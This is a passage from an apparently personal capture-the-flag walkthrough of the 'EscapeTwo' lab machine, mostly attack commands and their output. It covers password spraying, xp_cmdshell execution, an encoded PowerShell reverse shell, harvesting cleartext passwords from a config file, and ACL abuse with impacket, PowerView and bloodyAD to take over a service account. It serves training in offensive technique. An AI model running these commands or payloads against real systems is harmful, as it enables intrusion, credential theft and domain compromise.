sequel.htb\\angela:Md9Wlq1E5bZnVDVo LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\sa:Md9Wlq1E5bZnVDVo LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\kevin:Md9Wlq1E5bZnVDVo LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\ryan:MSSQLP@ssw0rd! LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\michael:MSSQLP@ssw0rd! LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\ca_svc:MSSQLP@ssw0rd! LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\rose:MSSQLP@ssw0rd! LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\administrator:MSSQLP@ssw0rd! LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\angela:MSSQLP@ssw0rd! LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\sa:MSSQLP@ssw0rd! LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\kevin:MSSQLP@ssw0rd! ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc smb 10.129.42.224 -u users.txt -p passwords.txt --continue-on-success SMB 10.129.42.224 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.129.42.224 445 DC01 [-] sequel.htb\\oscar:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\ryan:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\michael:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\ca_svc:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\rose:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\administrator:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\angela:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\sa:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\kevin:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [+] sequel.htb\\oscar:86LxLBMgEWaKUnBG SMB 10.129.42.224 445 DC01 [-] sequel.htb\\ryan:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\michael:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\ca_svc:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\rose:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\administrator:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\angela:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\sa:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\kevin:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\ryan:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\michael:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\ca_svc:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\rose:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\administrator:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\angela:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\sa:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\kevin:Md9Wlq1E5bZnVDVo STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\ryan:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\michael:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\ca_svc:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\rose:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\administrator:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\angela:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\sa:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE SMB 10.129.42.224 445 DC01 [-] sequel.htb\\kevin:MSSQLP@ssw0rd! STATUS_LOGON_FAILURE ``` {% endcode %} Checking to see what `oscar` can do: {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc smb 10.129.42.224 -u oscar -p '86LxLBMgEWaKUnBG' --shares SMB 10.129.42.224 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.129.42.224 445 DC01 [+] sequel.htb\\oscar:86LxLBMgEWaKUnBG SMB 10.129.42.224 445 DC01 [*] Enumerated shares SMB 10.129.42.224 445 DC01 Share Permissions Remark SMB 10.129.42.224 445 DC01 ----- ----------- ------ SMB 10.129.42.224 445 DC01 Accounting Department READ SMB 10.129.42.224 445 DC01 ADMIN$ Remote Admin SMB 10.129.42.224 445 DC01 C$ Default share SMB 10.129.42.224 445 DC01 IPC$ READ Remote IPC SMB 10.129.42.224 445 DC01 NETLOGON READ Logon server share SMB 10.129.42.224 445 DC01 SYSVOL READ Logon server share SMB 10.129.42.224 445 DC01 Users READ ``` {% endcode %} * Nothing different than `rose` can view Checking `sa` login: {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u sa -p 'MSSQLP@ssw0rd!' MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [-] sequel.htb\\sa:MSSQLP@ssw0rd! (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth') ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u sa -p 'MSSQLP@ssw0rd!' --local-auth MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [+] DC01\\sa:MSSQLP@ssw0rd! (Pwn3d!) ``` {% endcode %} * We have local admin account on the SQL Server Checking xp\_cmdshell {% code overflow="wrap" %} ```bash nxc mssql 10.129.42.224 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "whoami" ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "whoami" MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [+] DC01\\sa:MSSQLP@ssw0rd! (Pwn3d!) MSSQL 10.129.42.224 1433 DC01 [+] Executed command via mssqlexec MSSQL 10.129.42.224 1433 DC01 sequel\\sql_svc impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@10.129.42.224 -windows-auth ``` {% endcode %} Listing files: {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "powershell -c IEX(New-Object Net.WebClient).DownloadString('')" MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [+] DC01\\sa:MSSQLP@ssw0rd! (Pwn3d!) MSSQL 10.129.42.224 1433 DC01 [+] Executed command via mssqlexec ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "dir C:\\Users" MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [+] DC01\\sa:MSSQLP@ssw0rd! (Pwn3d!) MSSQL 10.129.42.224 1433 DC01 [+] Executed command via mssqlexec MSSQL 10.129.42.224 1433 DC01 Volume in drive C has no label. MSSQL 10.129.42.224 1433 DC01 Volume Serial Number is 3705-289D MSSQL 10.129.42.224 1433 DC01 Directory of C:\\Users MSSQL 10.129.42.224 1433 DC01 06/09/2024 05:42 AM . MSSQL 10.129.42.224 1433 DC01 06/09/2024 05:42 AM .. MSSQL 10.129.42.224 1433 DC01 12/25/2024 03:10 AM Administrator MSSQL 10.129.42.224 1433 DC01 06/09/2024 03:11 AM Public MSSQL 10.129.42.224 1433 DC01 06/09/2024 03:15 AM ryan MSSQL 10.129.42.224 1433 DC01 06/08/2024 03:16 PM sql_svc MSSQL 10.129.42.224 1433 DC01 0 File(s) 0 bytes MSSQL 10.129.42.224 1433 DC01 6 Dir(s) 3,787,829,248 bytes free ``` {% endcode %} #### Getting revshell on the target {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc mssql 10.129.42.224 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgAyADQAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA" MSSQL 10.129.42.224 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) MSSQL 10.129.42.224 1433 DC01 [+] DC01\\sa:MSSQLP@ssw0rd! (Pwn3d!) [18:51:10] ERROR Error when attempting to execute command via xp_cmdshell: timed out mssqlexec.py:30 [18:51:15] ERROR [OPSEC] Error when attempting to restore option 'xp_cmdshell': timed out mssqlexec.py:47 MSSQL 10.129.42.224 1433 DC01 [+] Executed command via mssqlexec ``` {% endcode %} *** ## Bloodhound Enumeration {% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc ldap 10.129.42.224 -u oscar -p '86LxLBMgEWaKUnBG' --bloodhound --collection All --dns-server 10.129.42.224 LDAP 10.129.42.224 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) LDAP 10.129.42.224 389 DC01 [+] sequel.htb\\oscar:86LxLBMgEWaKUnBG LDAP 10.129.42.224 389 DC01 Resolved collection methods: group, acl, dcom, rdp, trusts, session, container, psremote, objectprops, localadmin LDAP 10.129.42.224 389 DC01 Done in 00M 10S LDAP 10.129.42.224 389 DC01 Compressing output into /home/kali/.nxc/logs/DC01_10.129.42.224_2026-01-04_191147_bloodhound.zip ``` {% endcode %} * Nothing super interesting, other than `oscar` is a part of the Accounting Department * Looked for kerberoastable users and found that `ca_svc` and `sql_svc` are kerberoastable. Potential Attack Path: * Crack the `ca_svc` hash * Look for ESC privesc Cracking `ca_svc` hash: ```bash Status...........: Exhausted ``` Cracking `sql_svc` hash: ```bash Status...........: Exhausted ``` ## What I have so far: * Rose account * Local Admin sa account * Oscar account * Can’t read any other shares than what Rose has * Have a shell as `sql_svc` ### Looking for configuration files per the hint {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.224] from (UNKNOWN) [10.129.42.224] 61106 whoami sequel\\sql_svc PS C:\\Windows\\system32> cd C:\\Program Files\\Microsoft SQL Server\\MSSQL15.SQLEXPRESS\\MSSQL PS C:\\Windows\\system32> cd / PS C:\\> cd C:\\Program Files\\ PS C:\\> ls Directory: C:\\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 11/5/2022 12:03 PM PerfLogs d-r--- 1/4/2025 7:11 AM Program Files d----- 6/9/2024 8:37 AM Program Files (x86) d----- 6/8/2024 3:07 PM SQL2019 d-r--- 6/9/2024 6:42 AM Users d----- 1/4/2025 8:10 AM Windows PS C:\\> cd SQL2019 PS C:\\SQL2019> ls Directory: C:\\SQL2019 Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/3/2025 7:29 AM ExpressAdv_ENU PS C:\\SQL2019> cd ExpressAdv_ENU PS C:\\SQL2019\\ExpressAdv_ENU> ls Directory: C:\\SQL2019\\ExpressAdv_ENU Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 6/8/2024 3:07 PM 1033_ENU_LP d----- 6/8/2024 3:07 PM redist d----- 6/8/2024 3:07 PM resources d----- 6/8/2024 3:07 PM x64 -a---- 9/24/2019 10:03 PM 45 AUTORUN.INF -a---- 9/24/2019 10:03 PM 788 MEDIAINFO.XML -a---- 6/8/2024 3:07 PM 16 PackageId.dat -a---- 9/24/2019 10:03 PM 142944 SETUP.EXE -a---- 9/24/2019 10:03 PM 486 SETUP.EXE.CONFIG -a---- 6/8/2024 3:07 PM 717 sql-Configuration.INI -a---- 9/24/2019 10:03 PM 249448 SQLSETUPBOOTSTRAPPER.DLL PS C:\\SQL2019\\ExpressAdv_ENU> type sql-Configuration.INI [OPTIONS] ACTION="Install" QUIET="True" FEATURES=SQL INSTANCENAME="SQLEXPRESS" INSTANCEID="SQLEXPRESS" RSSVCACCOUNT="NT Service\\ReportServer$SQLEXPRESS" AGTSVCACCOUNT="NT AUTHORITY\\NETWORK SERVICE" AGTSVCSTARTUPTYPE="Manual" COMMFABRICPORT="0" COMMFABRICNETWORKLEVEL=""0" COMMFABRICENCRYPTION="0" MATRIXCMBRICKCOMMPORT="0" SQLSVCSTARTUPTYPE="Automatic" FILESTREAMLEVEL="0" ENABLERANU="False" SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS" SQLSVCACCOUNT="SEQUEL\\sql_svc" SQLSVCPASSWORD="WqSZAF6CysDQbGb3" SQLSYSADMINACCOUNTS="SEQUEL\\Administrator" SECURITYMODE="SQL" SAPWD="MSSQLP@ssw0rd!" ADDCURRENTUSERASSQLADMIN="False" TCPENABLED="1" NPENABLED="1" BROWSERSVCSTARTUPTYPE="Automatic" IAcceptSQLServerLicenseTerms=True PS C:\\SQL2019\\ExpressAdv_ENU> ``` {% endcode %} * Found a password: `WqSZAF6CysDQbGb3` Will try this against all users {% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc ldap 10.129.42.224 -u users.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success LDAP 10.129.42.224 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\oscar:WqSZAF6CysDQbGb3 LDAP 10.129.42.224 389 DC01 [+] sequel.htb\\ryan:WqSZAF6CysDQbGb3 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\michael:WqSZAF6CysDQbGb3 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\ca_svc:WqSZAF6CysDQbGb3 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\rose:WqSZAF6CysDQbGb3 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\administrator:WqSZAF6CysDQbGb3 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\angela:WqSZAF6CysDQbGb3 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\sa:WqSZAF6CysDQbGb3 LDAP 10.129.42.224 389 DC01 [-] sequel.htb\\kevin:WqSZAF6CysDQbGb3 ``` {% endcode %} * Confirmed as `ryan` using the password from `sql_svc` ## Getting User.txt {% code overflow="wrap" expandable="true" %} ```bash ┌──(certipy-venv)─(kali㉿kali)-[~/htb/escapetwo] └─$ evil-winrm -u ryan -p 'WqSZAF6CysDQbGb3' -i dc01.sequel.htb Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\\Users\\ryan\\Documents> cd .. *Evil-WinRM* PS C:\\Users\\ryan> ls Directory: C:\\Users\\ryan Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 1/4/2026 5:57 PM Desktop d-r--- 1/6/2025 5:32 AM Documents d-r--- 9/15/2018 12:19 AM Downloads d-r--- 9/15/2018 12:19 AM Favorites d-r--- 9/15/2018 12:19 AM Links d-r--- 9/15/2018 12:19 AM Music d-r--- 9/15/2018 12:19 AM Pictures d----- 9/15/2018 12:19 AM Saved Games d-r--- 9/15/2018 12:19 AM Videos *Evil-WinRM* PS C:\\Users\\ryan> cd Desktop *Evil-WinRM* PS C:\\Users\\ryan\\Desktop> ls Directory: C:\\Users\\ryan\\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/4/2026 5:57 PM 770279 PowerView.ps1 -ar--- 1/4/2026 10:40 AM 34 user.txt *Evil-WinRM* PS C:\\Users\\ryan\\Desktop> cat user.txt f4b5c05b47bf6c5de26df45e5d533b97 *Evil-WinRM* PS C:\\Users\\ryan\\Desktop> ``` {% endcode %} Ingest as `ryan` into bloodhound {% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc ldap 10.129.42.224 -u ryan -p 'WqSZAF6CysDQbGb3' --bloodhound --collection All --dns-server 10.129.42.224 LDAP 10.129.42.224 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) LDAP 10.129.42.224 389 DC01 [+] sequel.htb\\ryan:WqSZAF6CysDQbGb3 LDAP 10.129.42.224 389 DC01 Resolved collection methods: container, rdp, session, group, trusts, acl, objectprops, dcom, psremote, localadmin LDAP 10.129.42.224 389 DC01 Done in 00M 11S LDAP 10.129.42.224 389 DC01 Compressing output into /home/kali/.nxc/logs/DC01_10.129.42.224_2026-01-04_193951_bloodhound.zip ``` {% endcode %} * `ryan` has `WriteOwner` over the `ca_svc`, so we will have some sort of ESC privesc ![image.png](/files/pjEJCil4uXZqWPFL5waS) * Will most likely do a force change of the password to compromise `ca_svc` user Force change the password of the `ca_svc` user {% code overflow="wrap" %} ```bash net rpc password "ca_svc" 'HackSmarter123!' -U "sequel.htb"/"ryan"%"WqSZAF6CysDQbGb3" -S "10.129.42.224" ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ sudo net rpc password "ca_svc" 'HackSmarter123!' -U "sequel.htb"/"ryan"%"WqSZAF6CysDQbGb3" -S "10.129.42.224" Failed to set password for 'ca_svc' with error: Access is denied.. ``` {% endcode %} Changing ownership of the object {% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Current owner information below [*] - SID: S-1-5-21-548670397-972687484-3496335370-512 [*] - sAMAccountName: Domain Admins [*] - distinguishedName: CN=Domain Admins,CN=Users,DC=sequel,DC=htb [*] OwnerSid modified successfully! ``` {% endcode %} Giving full control over `ca_svc` {% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ impacket-dacledit -action write -rights FullControl -principal 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] DACL backed up to dacledit-20260104-195154.bak [*] DACL modified successfully! ``` {% endcode %} Changing the password {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ impacket-owneredit -action write -owner 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies usage: owneredit.py [-h] [-use-ldaps] [-ts] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-dc-host hostname] [-new-owner NAME] [-new-owner-sid SID] [-new-owner-dn DN] [-target NAME] [-target-sid SID] [-target-dn DN] [-action [{read,write}]] identity owneredit.py: error: unrecognized arguments: -owner sequel.htb/ryan:WqSZAF6CysDQbGb3 ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Current owner information below [*] - SID: S-1-5-21-548670397-972687484-3496335370-512 [*] - sAMAccountName: Domain Admins [*] - distinguishedName: CN=Domain Admins,CN=Users,DC=sequel,DC=htb [*] OwnerSid modified successfully! ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ sudo net rpc password "ca_svc" 'HackSmarter123!' -U "sequel.htb"/"ryan"%"WqSZAF6CysDQbGb3" -S "10.129.42.224" Failed to set password for 'ca_svc' with error: Access is denied.. ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ impacket-dacledit -action write -rights FullControl -principal 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] DACL backed up to dacledit-20260104-195154.bak [*] DACL modified successfully! ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ sudo net rpc password "ca_svc" 'HackSmarter123!' -U "sequel.htb"/"ryan"%"WqSZAF6CysDQbGb3" -S "10.129.42.224" Failed to set password for 'ca_svc' with error: Access is denied.. ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ impacket-changepasswd sequel.htb/ryan:WqSZAF6CysDQbGb3@10.129.42.224 -newpass 'HackSmarter123!' -target-user ca_svc Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies usage: changepasswd.py [-h] [-ts] [-debug] [-newpass NEWPASS | -newhashes LMHASH:NTHASH] [-hashes LMHASH:NTHASH] [-no-pass] [-altuser ALTUSER] [-altpass ALTPASS | -althash ALTHASH] [-protocol {smb-samr,rpc-samr,kpasswd,ldap}] [-reset] [-k] [-aesKey hex key] [-dc-ip ip address] target changepasswd.py: error: unrecognized arguments: -target-user ca_svc ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ impacket-changepasswd sequel.htb/ryan:WqSZAF6CysDQbGb3@10.129.42.224 -newpass 'HackSmarter123!' -altuser ca_svc Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] Please, provide either alternative password (-altpass) or NT hash (-althash) for authentication, or specify -no-pass if you rely on Kerberos only ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ impacket-changepasswd 'sequel.htb/ca_svc@10.129.42.224' -altuser ryan -altpass 'WqSZAF6CysDQbGb3' -newpass 'HackSmarter123!' -reset Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Setting the password of sequel.htb\\ca_svc as sequel.htb\\ryan [*] Connecting to DCE/RPC as sequel.htb\\ryan [-] sequel.htb\\ryan user is not allowed to set the password of the target ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ impacket-dacledit -action write -rights FullControl -principal 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] DACL backed up to dacledit-20260104-195427.bak [-] Could not modify object, the server reports insufficient rights: 00000005: SecErr: DSID-03152E13, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0 ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ impacket-dacledit -action write -rights ResetPassword -principal 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] DACL backed up to dacledit-20260104-195440.bak [-] Could not modify object, the server reports insufficient rights: 00000005: SecErr: DSID-03152E13, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0 ``` {% endcode %} * Had to look at another hint through the writeup to remember that we have the evil-winrm shell, and can use PowerView to change the password Uploading and using PowerView\.ps1 to change the `ca_svc` password {% code overflow="wrap" %} ```bash *Evil-WinRM* PS C:\\Users\\ryan\\Desktop> Import-Module .\\PowerView.ps1 *Evil-WinRM* PS C:\\Users\\ryan\\Desktop> Set-DomainObjectOwner -Identity "ca_svc" -OwnerIdentity "ryan" *Evil-WinRM* PS C:\\Users\\ryan\\Desktop> Add-DomainObjectAcl -TargetIdentity "ca_svc" -Rights ResetPassword -PrincipalIdentity "ryan" *Evil-WinRM* PS C:\\Users\\ryan\\Desktop> $cred = ConvertTo-SecureString "HackSmarter123" -AsPlainText -Force *Evil-WinRM* PS C:\\Users\\ryan\\Desktop> Set-DomainUserPassword -Identity "ca_svc" -AccountPassword $cred *Evil-WinRM* PS C:\\Users\\ryan\\Desktop> ``` {% endcode %} Now check to see if the creds change worked {% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/htb/escapetwo] └─$ nxc smb 10.129.42.224 -u ca_svc -p 'HackSmarter123' SMB 10.129.42.224 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.129.42.224 445 DC01 [+] sequel.htb\\ca_svc:HackSmarter123 ``` {% endcode %} Now that we have control, it’s time to certipy ```bash This did not work ``` ### Pivot to another walkthrough with the correct certipy commands {% code overflow="wrap" expandable="true" %} ```bash ┌──(certipy-venv)─(kali㉿kali)-[~/htb/escapetwo/bloodyAD] └─$ python3 bloodyAD.py -d sequel.htb --host 10.129.42.224 -u ryan -p WqSZAF6CysDQbGb3 set owner ca_svc ryan [+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc ┌──(certipy-venv)─(kali㉿kali)-[~/htb/escapetwo/bloodyAD] └─$ python3 bloodyAD.py -d sequel.htb --host 10.129.42.224 -u ryan -p WqSZAF6CysDQbGb3 add genericAll ca_svc ryan [+] ryan has now GenericAll on ca_svc ┌──(certipy-venv)─(kali㉿kali)-[~/htb/escapetwo/bloodyAD] └─$ certipy shadow auto -u ryan@sequel.htb -p WqSZAF6CysDQbGb3 -account 'ca_svc' -dc-ip 10.129.42.224 Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Targeting user 'ca_svc' [*] Generating certificate [*] 